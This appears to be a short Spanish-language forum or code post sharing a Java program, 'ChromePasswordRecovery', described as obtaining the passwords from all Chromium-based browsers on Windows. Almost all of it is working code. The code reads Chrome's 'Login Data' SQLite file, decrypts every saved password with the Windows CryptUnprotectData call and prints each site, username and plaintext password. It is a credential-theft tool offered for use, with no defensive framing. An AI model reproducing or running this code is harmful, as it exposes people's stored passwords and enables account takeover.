-JNA-4.1.0.jar
-jna-platform-4.1.0.jar
-sqlite-jdbc-3.8.7.jar
Author: Yo
Este codigo sirve para obtener las contraseñas de todos los anvegadores que usen chrominium como base, como el comodo browser, etc. Solo funciona en windows.
import com.sun.jna.platform.win32.Crypt32Util;
import com.sun.jna.platform.win32.WinCrypt;
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ChromePasswordRecovery {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("org.sqlite.JDBC");
System.out.println("CHROME....---------");
File CHROMEW = new File("C:\\Users\\Username\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
Connection conexion = DriverManager.getConnection("jdbc:sqlite:" + CHROMEW.getAbsolutePath());
Statement est = conexion.createStatement();
ResultSet rs = est.executeQuery("SELECT * FROM LOGINS;");
while (rs.next()) {
System.out.println(rs.getString("origin_url"));
System.out.println(rs.getString("username_value"));
byte[] cryptUnprotectData = Crypt32Util.cryptUnprotectData(rs.getBytes("password_value"));
System.out.println(new String(cryptUnprotectData));
System.out.println("\n");
}
}
}